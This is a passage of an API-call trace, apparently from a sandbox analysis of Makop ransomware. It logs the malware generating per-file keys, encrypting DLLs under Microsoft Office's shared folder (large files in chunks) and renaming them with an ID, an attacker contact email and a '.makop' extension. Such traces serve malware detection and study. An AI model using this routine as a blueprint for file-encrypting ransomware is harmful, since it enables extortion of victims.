nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0087.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.896] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.896] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.896] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.896] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.896] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.896] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4dba0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4dba0, lpOverlapped=0x0) returned 1 [0087.905] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4dba0, dwBufLen=0x4dba0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4dba0) returned 1 [0087.909] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.909] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4dba0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4dba0, lpOverlapped=0x0) returned 1 [0087.911] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.911] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4dc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.911] SetEndOfFile (hFile=0xf0) returned 1 [0087.918] GetProcessHeap () returned 0x48a0000 [0087.918] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0087.918] GetProcessHeap () returned 0x48a0000 [0087.918] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0087.918] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0087.918] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWSS.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewss.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0087.963] CloseHandle (hObject=0xf0) returned 1 [0087.963] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0087.963] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL") returned 66 [0087.963] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0087.965] GetProcessHeap () returned 0x48a0000 [0087.965] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0087.965] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0087.965] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0087.965] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.969] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.969] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.969] GetProcessHeap () returned 0x48a0000 [0087.970] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0087.970] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0087.970] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.970] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0087.970] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0087.970] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0087.970] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0087.970] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0087.970] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0087.971] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0087.971] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0087.971] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.971] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7a998, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7a998, lpOverlapped=0x0) returned 1 [0087.982] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7a9a0, dwBufLen=0x7a9a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7a9a0) returned 1 [0087.986] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.986] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7a9a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7a9a0, lpOverlapped=0x0) returned 1 [0087.990] CryptDestroyKey (hKey=0x48c7128) returned 1 [0087.990] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7aa64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.990] SetEndOfFile (hFile=0xf0) returned 1 [0087.999] GetProcessHeap () returned 0x48a0000 [0087.999] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0088.000] GetProcessHeap () returned 0x48a0000 [0088.000] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0088.000] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0088.000] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEXBE.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acexbe.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0088.001] CloseHandle (hObject=0xf0) returned 1 [0088.001] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0088.001] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL") returned 67 [0088.001] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0088.015] GetProcessHeap () returned 0x48a0000 [0088.015] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0088.015] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0088.015] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0088.015] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0088.026] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0088.026] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0088.027] GetProcessHeap () returned 0x48a0000 [0088.027] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0088.027] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0088.027] CryptDestroyKey (hKey=0x48c7128) returned 1 [0088.027] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0088.027] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0088.027] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0088.027] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0088.028] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0088.028] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0088.028] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0088.028] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0088.028] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.028] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5e158, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5e158, lpOverlapped=0x0) returned 1 [0088.040] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5e160, dwBufLen=0x5e160 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5e160) returned 1 [0088.043] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.043] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5e160, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5e160, lpOverlapped=0x0) returned 1 [0088.046] CryptDestroyKey (hKey=0x48c7128) returned 1 [0088.046] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5e234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.046] SetEndOfFile (hFile=0xf0) returned 1 [0088.054] GetProcessHeap () returned 0x48a0000 [0088.054] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0088.054] GetProcessHeap () returned 0x48a0000 [0088.054] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0088.054] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0088.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ATLCONV.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\atlconv.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0088.055] CloseHandle (hObject=0xf0) returned 1 [0088.056] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0088.056] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0088.056] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0088.068] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=5072816) returned 1 [0088.068] GetProcessHeap () returned 0x48a0000 [0088.068] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0088.069] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0088.069] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.069] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0088.069] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0088.069] GetProcessHeap () returned 0x48a0000 [0088.069] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0088.069] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a88*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a88*=0x30) returned 1 [0088.069] CryptDestroyKey (hKey=0x48c7128) returned 1 [0088.069] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa4*=0x30, lpOverlapped=0x0) returned 1 [0088.096] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0088.097] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0088.097] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0088.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0088.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0088.097] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0088.097] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0088.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0088.098] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0088.113] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0088.115] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.116] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0088.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4d6874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.118] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0088.118] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x19cd3a, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0088.118] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0088.128] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0088.130] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x19cd3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.131] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0088.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4d6874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.133] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0088.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4967b0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0088.133] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0088.150] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0088.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4967b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.154] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0088.156] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4d6874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.156] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: 